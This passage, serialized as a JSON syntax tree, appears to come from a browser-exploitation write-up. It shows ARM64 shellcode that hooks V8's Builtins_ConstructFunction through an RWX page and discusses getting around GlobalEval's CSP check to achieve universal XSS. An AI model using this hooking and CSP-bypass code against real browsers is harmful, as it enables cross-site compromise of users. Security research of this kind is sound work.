#222\n",{"type":23,"tag":213,"props":139838,"children":139839},{"class":215,"line":23608},[139840],{"type":23,"tag":213,"props":139841,"children":139842},{},[139843],{"type":28,"value":139751},{"type":23,"tag":213,"props":139845,"children":139846},{"class":215,"line":23617},[139847],{"type":23,"tag":213,"props":139848,"children":139849},{"emptyLinePlaceholder":18},[139850],{"type":28,"value":530},{"type":23,"tag":213,"props":139852,"children":139853},{"class":215,"line":23659},[139854],{"type":23,"tag":213,"props":139855,"children":139856},{},[139857],{"type":28,"value":139649},{"type":23,"tag":213,"props":139859,"children":139860},{"class":215,"line":23692},[139861],{"type":23,"tag":213,"props":139862,"children":139863},{"emptyLinePlaceholder":18},[139864],{"type":28,"value":530},{"type":23,"tag":213,"props":139866,"children":139867},{"class":215,"line":23700},[139868],{"type":23,"tag":213,"props":139869,"children":139870},{},[139871],{"type":28,"value":139872},"// at this point:\n",{"type":23,"tag":213,"props":139874,"children":139875},{"class":215,"line":23708},[139876],{"type":23,"tag":213,"props":139877,"children":139878},{},[139879],{"type":28,"value":139880},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":213,"props":139882,"children":139883},{"class":215,"line":23717},[139884],{"type":23,"tag":213,"props":139885,"children":139886},{},[139887],{"type":28,"value":139888},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":213,"props":139890,"children":139891},{"class":215,"line":23793},[139892],{"type":23,"tag":213,"props":139893,"children":139894},{"emptyLinePlaceholder":18},[139895],{"type":28,"value":530},{"type":23,"tag":213,"props":139897,"children":139898},{"class":215,"line":23826},[139899],{"type":23,"tag":213,"props":139900,"children":139901},{},[139902],{"type":28,"value":139903},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":213,"props":139905,"children":139906},{"class":215,"line":23834},[139907],{"type":23,"tag":213,"props":139908,"children":139909},{},[139910],{"type":28,"value":139911},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":213,"props":139913,"children":139914},{"class":215,"line":23842},[139915],{"type":23,"tag":213,"props":139916,"children":139917},{"emptyLinePlaceholder":18},[139918],{"type":28,"value":530},{"type":23,"tag":213,"props":139920,"children":139921},{"class":215,"line":23879},[139922],{"type":23,"tag":213,"props":139923,"children":139924},{},[139925],{"type":28,"value":139926},"// wipe from cache\n",{"type":23,"tag":213,"props":139928,"children":139929},{"class":215,"line":23892},[139930],{"type":23,"tag":213,"props":139931,"children":139932},{},[139933],{"type":28,"value":139934},"mov x0, x5\n",{"type":23,"tag":213,"props":139936,"children":139937},{"class":215,"line":23905},[139938],{"type":23,"tag":213,"props":139939,"children":139940},{},[139941],{"type":28,"value":139942},"{WIPE_CACHE}\n",{"type":23,"tag":213,"props":139944,"children":139945},{"class":215,"line":23918},[139946],{"type":23,"tag":213,"props":139947,"children":139948},{"emptyLinePlaceholder":18},[139949],{"type":28,"value":530},{"type":23,"tag":213,"props":139951,"children":139952},{"class":215,"line":23972},[139953],{"type":23,"tag":213,"props":139954,"children":139955},{},[139956],{"type":28,"value":139957},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":213,"props":139959,"children":139960},{"class":215,"line":23980},[139961],{"type":23,"tag":213,"props":139962,"children":139963},{},[139964],{"type":28,"value":139965},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":213,"props":139967,"children":139968},{"class":215,"line":32336},[139969],{"type":23,"tag":213,"props":139970,"children":139971},{},[139972],{"type":28,"value":139973},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":213,"props":139975,"children":139976},{"class":215,"line":32357},[139977],{"type":23,"tag":213,"props":139978,"children":139979},{},[139980],{"type":28,"value":139981},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":213,"props":139983,"children":139984},{"class":215,"line":81004},[139985],{"type":23,"tag":213,"props":139986,"children":139987},{"emptyLinePlaceholder":18},[139988],{"type":28,"value":530},{"type":23,"tag":213,"props":139990,"children":139991},{"class":215,"line":81017},[139992],{"type":23,"tag":213,"props":139993,"children":139994},{},[139995],{"type":28,"value":139926},{"type":23,"tag":213,"props":139997,"children":139998},{"class":215,"line":81025},[139999],{"type":23,"tag":213,"props":140000,"children":140001},{},[140002],{"type":28,"value":140003},"mov x0, x6\n",{"type":23,"tag":213,"props":140005,"children":140006},{"class":215,"line":81033},[140007],{"type":23,"tag":213,"props":140008,"children":140009},{},[140010],{"type":28,"value":139942},{"type":23,"tag":24,"props":140012,"children":140013},{},[140014,140016,140022,140024,140029,140031,140037],{"type":28,"value":140015},"In the snippet above, ",{"type":23,"tag":209,"props":140017,"children":140019},{"className":140018},[],[140020],{"type":28,"value":140021},"new_compile_instrs",{"type":28,"value":140023}," refers to the instructions written to the beginning of ",{"type":23,"tag":209,"props":140025,"children":140027},{"className":140026},[],[140028],{"type":28,"value":139520},{"type":28,"value":140030}," that invoke the ",{"type":23,"tag":209,"props":140032,"children":140034},{"className":140033},[],[140035],{"type":28,"value":140036},"uxss_sc",{"type":28,"value":140038}," mmap-ed shellcode:",{"type":23,"tag":202,"props":140040,"children":140042},{"code":140041,"language":139573,"meta":7,"className":139574,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[140043],{"type":23,"tag":209,"props":140044,"children":140045},{"__ignoreMap":7},[140046,140054,140061,140069,140077,140084,140092,140100,140107,140115,140123,140130,140138],{"type":23,"tag":213,"props":140047,"children":140048},{"class":215,"line":216},[140049],{"type":23,"tag":213,"props":140050,"children":140051},{},[140052],{"type":28,"value":140053},"bti c\n",{"type":23,"tag":213,"props":140055,"children":140056},{"class":215,"line":226},[140057],{"type":23,"tag":213,"props":140058,"children":140059},{"emptyLinePlaceholder":18},[140060],{"type":28,"value":530},{"type":23,"tag":213,"props":140062,"children":140063},{"class":215,"line":524},[140064],{"type":23,"tag":213,"props":140065,"children":140066},{},[140067],{"type":28,"value":140068},"// store registers that will be overwritten\n",{"type":23,"tag":213,"props":140070,"children":140071},{"class":215,"line":533},[140072],{"type":23,"tag":213,"props":140073,"children":140074},{},[140075],{"type":28,"value":140076},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":213,"props":140078,"children":140079},{"class":215,"line":543},[140080],{"type":23,"tag":213,"props":140081,"children":140082},{"emptyLinePlaceholder":18},[140083],{"type":28,"value":530},{"type":23,"tag":213,"props":140085,"children":140086},{"class":215,"line":551},[140087],{"type":23,"tag":213,"props":140088,"children":140089},{},[140090],{"type":28,"value":140091},"// get current rip into x15\n",{"type":23,"tag":213,"props":140093,"children":140094},{"class":215,"line":570},[140095],{"type":23,"tag":213,"props":140096,"children":140097},{},[140098],{"type":28,"value":140099},"adr x15, .\n",{"type":23,"tag":213,"props":140101,"children":140102},{"class":215,"line":655},[140103],{"type":23,"tag":213,"props":140104,"children":140105},{"emptyLinePlaceholder":18},[140106],{"type":28,"value":530},{"type":23,"tag":213,"props":140108,"children":140109},{"class":215,"line":1176},[140110],{"type":23,"tag":213,"props":140111,"children":140112},{},[140113],{"type":28,"value":140114},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":213,"props":140116,"children":140117},{"class":215,"line":1202},[140118],{"type":23,"tag":213,"props":140119,"children":140120},{},[140121],{"type":28,"value":140122},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":213,"props":140124,"children":140125},{"class":215,"line":1758},[140126],{"type":23,"tag":213,"props":140127,"children":140128},{"emptyLinePlaceholder":18},[140129],{"type":28,"value":530},{"type":23,"tag":213,"props":140131,"children":140132},{"class":215,"line":1767},[140133],{"type":23,"tag":213,"props":140134,"children":140135},{},[140136],{"type":28,"value":140137},"// jump to uxss_sc\n",{"type":23,"tag":213,"props":140139,"children":140140},{"class":215,"line":1789},[140141],{"type":23,"tag":213,"props":140142,"children":140143},{},[140144],{"type":28,"value":140145},"blr x15\n",{"type":23,"tag":24,"props":140147,"children":140148},{},[140149,140154,140156,140161],{"type":23,"tag":209,"props":140150,"children":140152},{"className":140151},[],[140153],{"type":28,"value":140036},{"type":28,"value":140155}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":209,"props":140157,"children":140159},{"className":140158},[],[140160],{"type":28,"value":139520},{"type":28,"value":140162}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":202,"props":140164,"children":140166},{"code":140165,"language":139573,"meta":7,"className":139574,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[140167],{"type":23,"tag":209,"props":140168,"children":140169},{"__ignoreMap":7},[140170,140177,140184,140192,140200,140208,140216,140224,140232,140240,140248,140256,140264,140272,140280,140288,140296,140304,140312],{"type":23,"tag":213,"props":140171,"children":140172},{"class":215,"line":216},[140173],{"type":23,"tag":213,"props":140174,"children":140175},{},[140176],{"type":28,"value":140053},{"type":23,"tag":213,"props":140178,"children":140179},{"class":215,"line":226},[140180],{"type":23,"tag":213,"props":140181,"children":140182},{"emptyLinePlaceholder":18},[140183],{"type":28,"value":530},{"type":23,"tag":213,"props":140185,"children":140186},{"class":215,"line":524},[140187],{"type":23,"tag":213,"props":140188,"children":140189},{},[140190],{"type":28,"value":140191},"// Save full register context\n",{"type":23,"tag":213,"props":140193,"children":140194},{"class":215,"line":533},[140195],{"type":23,"tag":213,"props":140196,"children":140197},{},[140198],{"type":28,"value":140199},"stp x0, x1, [sp, #-16]!\n",{"type":23,"tag":213,"props":140201,"children":140202},{"class":215,"line":543},[140203],{"type":23,"tag":213,"props":140204,"children":140205},{},[140206],{"type":28,"value":140207},"stp x2, x3, [sp, #-16]!\n",{"type":23,"tag":213,"props":140209,"children":140210},{"class":215,"line":551},[140211],{"type":23,"tag":213,"props":140212,"children":140213},{},[140214],{"type":28,"value":140215},"stp x4, x5, [sp, #-16]!\n",{"type":23,"tag":213,"props":140217,"children":140218},{"class":215,"line":570},[140219],{"type":23,"tag":213,"props":140220,"children":140221},{},[140222],{"type":28,"value":140223},"stp x6, x7, [sp, #-16]!\n",{"type":23,"tag":213,"props":140225,"children":140226},{"class":215,"line":655},[140227],{"type":23,"tag":213,"props":140228,"children":140229},{},[140230],{"type":28,"value":140231},"stp x8, x9, [sp, #-16]!\n",{"type":23,"tag":213,"props":140233,"children":140234},{"class":215,"line":1176},[140235],{"type":23,"tag":213,"props":140236,"children":140237},{},[140238],{"type":28,"value":140239},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":213,"props":140241,"children":140242},{"class":215,"line":1202},[140243],{"type":23,"tag":213,"props":140244,"children":140245},{},[140246],{"type":28,"value":140247},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":213,"props":140249,"children":140250},{"class":215,"line":1758},[140251],{"type":23,"tag":213,"props":140252,"children":140253},{},[140254],{"type":28,"value":140255},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":213,"props":140257,"children":140258},{"class":215,"line":1767},[140259],{"type":23,"tag":213,"props":140260,"children":140261},{},[140262],{"type":28,"value":140263},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":213,"props":140265,"children":140266},{"class":215,"line":1789},[140267],{"type":23,"tag":213,"props":140268,"children":140269},{},[140270],{"type":28,"value":140271},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":213,"props":140273,"children":140274},{"class":215,"line":1812},[140275],{"type":23,"tag":213,"props":140276,"children":140277},{},[140278],{"type":28,"value":140279},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":213,"props":140281,"children":140282},{"class":215,"line":1838},[140283],{"type":23,"tag":213,"props":140284,"children":140285},{},[140286],{"type":28,"value":140287},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":213,"props":140289,"children":140290},{"class":215,"line":1851},[140291],{"type":23,"tag":213,"props":140292,"children":140293},{},[140294],{"type":28,"value":140295},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":213,"props":140297,"children":140298},{"class":215,"line":1864},[140299],{"type":23,"tag":213,"props":140300,"children":140301},{},[140302],{"type":28,"value":140303},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":213,"props":140305,"children":140306},{"class":215,"line":1890},[140307],{"type":23,"tag":213,"props":140308,"children":140309},{},[140310],{"type":28,"value":140311},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":213,"props":140313,"children":140314},{"class":215,"line":1899},[140315],{"type":23,"tag":213,"props":140316,"children":140317},{},[140318],{"type":28,"value":140319},"str lr, [sp, #-16]!\n",{"type":23,"tag":24,"props":140321,"children":140322},{},[140323],{"type":28,"value":140324},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":24,"props":140326,"children":140327},{},[140328,140330,140335],{"type":28,"value":140329},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":209,"props":140331,"children":140333},{"className":140332},[],[140334],{"type":28,"value":139520},{"type":28,"value":140336},", and then returns execution to its beginning:",{"type":23,"tag":202,"props":140338,"children":140340},{"code":140339,"language":139573,"meta":7,"className":139574,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[140341],{"type":23,"tag":209,"props":140342,"children":140343},{"__ignoreMap":7},[140344,140352,140360,140368,140376,140384,140391,140398,140406,140413,140420,140428,140436,140444,140452,140460,140468,140476,140484,140492,140500,140508,140516,140524,140532,140540,140548,140555,140563,140571,140579,140587,140595,140602,140610,140618,140625],{"type":23,"tag":213,"props":140345,"children":140346},{"class":215,"line":216},[140347],{"type":23,"tag":213,"props":140348,"children":140349},{},[140350],{"type":28,"value":140351},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":213,"props":140353,"children":140354},{"class":215,"line":226},[140355],{"type":23,"tag":213,"props":140356,"children":140357},{},[140358],{"type":28,"value":140359},"ldr lr, [sp], #16\n",{"type":23,"tag":213,"props":140361,"children":140362},{"class":215,"line":524},[140363],{"type":23,"tag":213,"props":140364,"children":140365},{},[140366],{"type":28,"value":140367},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":213,"props":140369,"children":140370},{"class":215,"line":533},[140371],{"type":23,"tag":213,"props":140372,"children":140373},{},[140374],{"type":28,"value":140375},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":213,"props":140377,"children":140378},{"class":215,"line":543},[140379],{"type":23,"tag":213,"props":140380,"children":140381},{},[140382],{"type":28,"value":140383},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":213,"props":140385,"children":140386},{"class":215,"line":551},[140387],{"type":23,"tag":213,"props":140388,"children":140389},{"emptyLinePlaceholder":18},[140390],{"type":28,"value":530},{"type":23,"tag":213,"props":140392,"children":140393},{"class":215,"line":570},[140394],{"type":23,"tag":213,"props":140395,"children":140396},{},[140397],{"type":28,"value":139926},{"type":23,"tag":213,"props":140399,"children":140400},{"class":215,"line":655},[140401],{"type":23,"tag":213,"props":140402,"children":140403},{},[140404],{"type":28,"value":140405},"mov x0, lr\n",{"type":23,"tag":213,"props":140407,"children":140408},{"class":215,"line":1176},[140409],{"type":23,"tag":213,"props":140410,"children":140411},{},[140412],{"type":28,"value":139942},{"type":23,"tag":213,"props":140414,"children":140415},{"class":215,"line":1202},[140416],{"type":23,"tag":213,"props":140417,"children":140418},{"emptyLinePlaceholder":18},[140419],{"type":28,"value":530},{"type":23,"tag":213,"props":140421,"children":140422},{"class":215,"line":1758},[140423],{"type":23,"tag":213,"props":140424,"children":140425},{},[140426],{"type":28,"value":140427},"// restore original registers\n",{"type":23,"tag":213,"props":140429,"children":140430},{"class":215,"line":1767},[140431],{"type":23,"tag":213,"props":140432,"children":140433},{},[140434],{"type":28,"value":140435},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":213,"props":140437,"children":140438},{"class":215,"line":1789},[140439],{"type":23,"tag":213,"props":140440,"children":140441},{},[140442],{"type":28,"value":140443},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":213,"props":140445,"children":140446},{"class":215,"line":1812},[140447],{"type":23,"tag":213,"props":140448,"children":140449},{},[140450],{"type":28,"value":140451},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":213,"props":140453,"children":140454},{"class":215,"line":1838},[140455],{"type":23,"tag":213,"props":140456,"children":140457},{},[140458],{"type":28,"value":140459},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":213,"props":140461,"children":140462},{"class":215,"line":1851},[140463],{"type":23,"tag":213,"props":140464,"children":140465},{},[140466],{"type":28,"value":140467},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":213,"props":140469,"children":140470},{"class":215,"line":1864},[140471],{"type":23,"tag":213,"props":140472,"children":140473},{},[140474],{"type":28,"value":140475},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":213,"props":140477,"children":140478},{"class":215,"line":1890},[140479],{"type":23,"tag":213,"props":140480,"children":140481},{},[140482],{"type":28,"value":140483},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":213,"props":140485,"children":140486},{"class":215,"line":1899},[140487],{"type":23,"tag":213,"props":140488,"children":140489},{},[140490],{"type":28,"value":140491},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":213,"props":140493,"children":140494},{"class":215,"line":1912},[140495],{"type":23,"tag":213,"props":140496,"children":140497},{},[140498],{"type":28,"value":140499},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":213,"props":140501,"children":140502},{"class":215,"line":1921},[140503],{"type":23,"tag":213,"props":140504,"children":140505},{},[140506],{"type":28,"value":140507},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":213,"props":140509,"children":140510},{"class":215,"line":3879},[140511],{"type":23,"tag":213,"props":140512,"children":140513},{},[140514],{"type":28,"value":140515},"ldp x8, x9, [sp], #16\n",{"type":23,"tag":213,"props":140517,"children":140518},{"class":215,"line":3887},[140519],{"type":23,"tag":213,"props":140520,"children":140521},{},[140522],{"type":28,"value":140523},"ldp x6, x7, [sp], #16\n",{"type":23,"tag":213,"props":140525,"children":140526},{"class":215,"line":3918},[140527],{"type":23,"tag":213,"props":140528,"children":140529},{},[140530],{"type":28,"value":140531},"ldp x4, x5, [sp], #16\n",{"type":23,"tag":213,"props":140533,"children":140534},{"class":215,"line":3926},[140535],{"type":23,"tag":213,"props":140536,"children":140537},{},[140538],{"type":28,"value":140539},"ldp x2, x3, [sp], #16\n",{"type":23,"tag":213,"props":140541,"children":140542},{"class":215,"line":3986},[140543],{"type":23,"tag":213,"props":140544,"children":140545},{},[140546],{"type":28,"value":140547},"ldp x0, x1, [sp], #16\n",{"type":23,"tag":213,"props":140549,"children":140550},{"class":215,"line":9132},[140551],{"type":23,"tag":213,"props":140552,"children":140553},{"emptyLinePlaceholder":18},[140554],{"type":28,"value":530},{"type":23,"tag":213,"props":140556,"children":140557},{"class":215,"line":9150},[140558],{"type":23,"tag":213,"props":140559,"children":140560},{},[140561],{"type":28,"value":140562},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":213,"props":140564,"children":140565},{"class":215,"line":9195},[140566],{"type":23,"tag":213,"props":140567,"children":140568},{},[140569],{"type":28,"value":140570},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":213,"props":140572,"children":140573},{"class":215,"line":9301},[140574],{"type":23,"tag":213,"props":140575,"children":140576},{},[140577],{"type":28,"value":140578},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":213,"props":140580,"children":140581},{"class":215,"line":23557},[140582],{"type":23,"tag":213,"props":140583,"children":140584},{},[140585],{"type":28,"value":140586},"// where to return\n",{"type":23,"tag":213,"props":140588,"children":140589},{"class":215,"line":23592},[140590],{"type":23,"tag":213,"props":140591,"children":140592},{},[140593],{"type":28,"value":140594},"mov x4, lr\n",{"type":23,"tag":213,"props":140596,"children":140597},{"class":215,"line":23600},[140598],{"type":23,"tag":213,"props":140599,"children":140600},{"emptyLinePlaceholder":18},[140601],{"type":28,"value":530},{"type":23,"tag":213,"props":140603,"children":140604},{"class":215,"line":23608},[140605],{"type":23,"tag":213,"props":140606,"children":140607},{},[140608],{"type":28,"value":140609},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":213,"props":140611,"children":140612},{"class":215,"line":23617},[140613],{"type":23,"tag":213,"props":140614,"children":140615},{},[140616],{"type":28,"value":140617},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":213,"props":140619,"children":140620},{"class":215,"line":23659},[140621],{"type":23,"tag":213,"props":140622,"children":140623},{"emptyLinePlaceholder":18},[140624],{"type":28,"value":530},{"type":23,"tag":213,"props":140626,"children":140627},{"class":215,"line":23692},[140628],{"type":23,"tag":213,"props":140629,"children":140630},{},[140631],{"type":28,"value":140632},"ret x4\n",{"type":23,"tag":24,"props":140634,"children":140635},{},[140636,140638,140643,140645,140650,140652,140658],{"type":28,"value":140637},"At this point, we have successfully hooked ",{"type":23,"tag":209,"props":140639,"children":140641},{"className":140640},[],[140642],{"type":28,"value":139520},{"type":28,"value":140644}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":209,"props":140646,"children":140648},{"className":140647},[],[140649],{"type":28,"value":140036},{"type":28,"value":140651}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":209,"props":140653,"children":140655},{"className":140654},[],[140656],{"type":28,"value":140657},"Builtins_GlobalEval",{"type":28,"value":124},{"type":23,"tag":24,"props":140660,"children":140661},{},[140662,140667,140669,140674,140676,140681],{"type":23,"tag":209,"props":140663,"children":140665},{"className":140664},[],[140666],{"type":28,"value":140657},{"type":28,"value":140668}," takes a single ",{"type":23,"tag":209,"props":140670,"children":140672},{"className":140671},[],[140673],{"type":28,"value":47978},{"type":28,"value":140675}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":209,"props":140677,"children":140679},{"className":140678},[],[140680],{"type":28,"value":37606},{"type":28,"value":277},{"type":23,"tag":202,"props":140683,"children":140685},{"code":140684,"language":29169,"meta":7,"className":29167,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[140686],{"type":23,"tag":209,"props":140687,"children":140688},{"__ignoreMap":7},[140689,140702,140709,140716,140759,140781,140807],{"type":23,"tag":213,"props":140690,"children":140691},{"class":215,"line":216},[140692,140697],{"type":23,"tag":213,"props":140693,"children":140694},{"style":257},[140695],{"type":28,"value":140696},"BUILTIN",{"type":23,"tag":213,"props":140698,"children":140699},{"style":220},[140700],{"type":28,"value":140701},"(GlobalEval) {\n",{"type":23,"tag":213,"props":140703,"children":140704},{"class":215,"line":226},[140705],{"type":23,"tag":213,"props":140706,"children":140707},{"style":220},[140708],{"type":28,"value":127206},{"type":23,"tag":213,"props":140710,"children":140711},{"class":215,"line":524},[140712],{"type":23,"tag":213,"props":140713,"children":140714},{"emptyLinePlaceholder":18},[140715],{"type":28,"value":530},{"type":23,"tag":213,"props":140717,"children":140718},{"class":215,"line":533},[140719,140724,140729,140733,140738,140742,140746,140750,140755],{"type":23,"tag":213,"props":140720,"children":140721},{"style":220},[140722],{"type":28,"value":140723}," if (!Builtins::",{"type":23,"tag":213,"props":140725,"children":140726},{"style":290},[140727],{"type":28,"value":140728},"AllowDynamicFunction",{"type":23,"tag":213,"props":140730,"children":140731},{"style":220},[140732],{"type":28,"value":265},{"type":23,"tag":213,"props":140734,"children":140735},{"style":290},[140736],{"type":28,"value":140737},"isolate",{"type":23,"tag":213,"props":140739,"children":140740},{"style":220},[140741],{"type":28,"value":424},{"type":23,"tag":213,"props":140743,"children":140744},{"style":290},[140745],{"type":28,"value":115131},{"type":23,"tag":213,"props":140747,"children":140748},{"style":220},[140749],{"type":28,"value":424},{"type":23,"tag":213,"props":140751,"children":140752},{"style":290},[140753],{"type":28,"value":140754},"target_global_proxy",{"type":23,"tag":213,"props":140756,"children":140757},{"style":220},[140758],{"type":28,"value":35251},{"type":23,"tag":213,"props":140760,"children":140761},{"class":215,"line":543},[140762,140767,140771,140776],{"type":23,"tag":213,"props":140763,"children":140764},{"style":268},[140765],{"type":28,"value":140766}," isolate",{"type":23,"tag":213,"props":140768,"children":140769},{"style":220},[140770],{"type":28,"value":303},{"type":23,"tag":213,"props":140772,"children":140773},{"style":257},[140774],{"type":28,"value":140775},"CountUsage",{"type":23,"tag":213,"props":140777,"children":140778},{"style":220},[140779],{"type":28,"value":140780},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":213,"props":140782,"children":140783},{"class":215,"line":551},[140784,140788,140793,140798,140803],{"type":23,"tag":213,"props":140785,"children":140786},{"style":1362},[140787],{"type":28,"value":17040},{"type":23,"tag":213,"props":140789,"children":140790},{"style":257},[140791],{"type":28,"value":140792}," ReadOnlyRoots",{"type":23,"tag":213,"props":140794,"children":140795},{"style":220},[140796],{"type":28,"value":140797},"(isolate).",{"type":23,"tag":213,"props":140799,"children":140800},{"style":257},[140801],{"type":28,"value":140802},"undefined_value",{"type":23,"tag":213,"props":140804,"children":140805},{"style":220},[140806],{"type":28,"value":3759},{"type":23,"tag":213,"props":140808,"children":140809},{"class":215,"line":570},[140810],{"type":23,"tag":213,"props":140811,"children":140812},{"style":220},[140813],{"type":28,"value":5964},{"type":23,"tag":24,"props":140815,"children":140816},{},[140817,140819,140824],{"type":28,"value":140818},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":209,"props":140820,"children":140822},{"className":140821},[],[140823],{"type":28,"value":15637},{"type":28,"value":140825}," block.",{"type":23,"tag":24,"props":140827,"children":140828},{},[140829],{"type":28,"value":140830},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":202,"props":140832,"children":140834},{"code":140833,"language":29169,"meta":7,"className":29167,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[140835],{"type":23,"tag":209,"props":140836,"children":140837},{"__ignoreMap":7},[140838,140849,140856,140863,140870,140878,140890,140898,140915,140945,140953,140965],{"type":23,"tag":213,"props":140839,"children":140840},{"class":215,"line":216},[140841,140845],{"type":23,"tag":213,"props":140842,"children":140843},{"style":257},[140844],{"type":28,"value":140696},{"type":23,"tag":213,"props":140846,"children":140847},{"style":220},[140848],{"type":28,"value":140701},{"type":23,"tag":213,"props":140850,"children":140851},{"class":215,"line":226},[140852],{"type":23,"tag":213,"props":140853,"children":140854},{"emptyLinePlaceholder":18},[140855],{"type":28,"value":530},{"type":23,"tag":213,"props":140857,"children":140858},{"class":215,"line":524},[140859],{"type":23,"tag":213,"props":140860,"children":140861},{"style":220},[140862],{"type":28,"value":127206},{"type":23,"tag":213,"props":140864,"children":140865},{"class":215,"line":533},[140866],{"type":23,"tag":213,"props":140867,"children":140868},{"emptyLinePlaceholder":18},[140869],{"type":28,"value":530},{"type":23,"tag":213,"props":140871,"children":140872},{"class":215,"line":543},[140873],{"type":23,"tag":213,"props":140874,"children":140875},{"style":220},[140876],{"type":28,"value":140877}," DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":213,"props":140879,"children":140880},{"class":215,"line":551},[140881,140886],{"type":23,"tag":213,"props":140882,"children":140883},{"style":257},[140884],{"type":28,"value":140885}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":213,"props":140887,"children":140888},{"style":220},[140889],{"type":28,"value":1511},{"type":23,"tag":213,"props":140891,"children":140892},{"class":215,"line":570},[140893],{"type":23,"tag":213,"props":140894,"children":140895},{"style":220},[140896],{"type":28,"value":140897}," isolate, 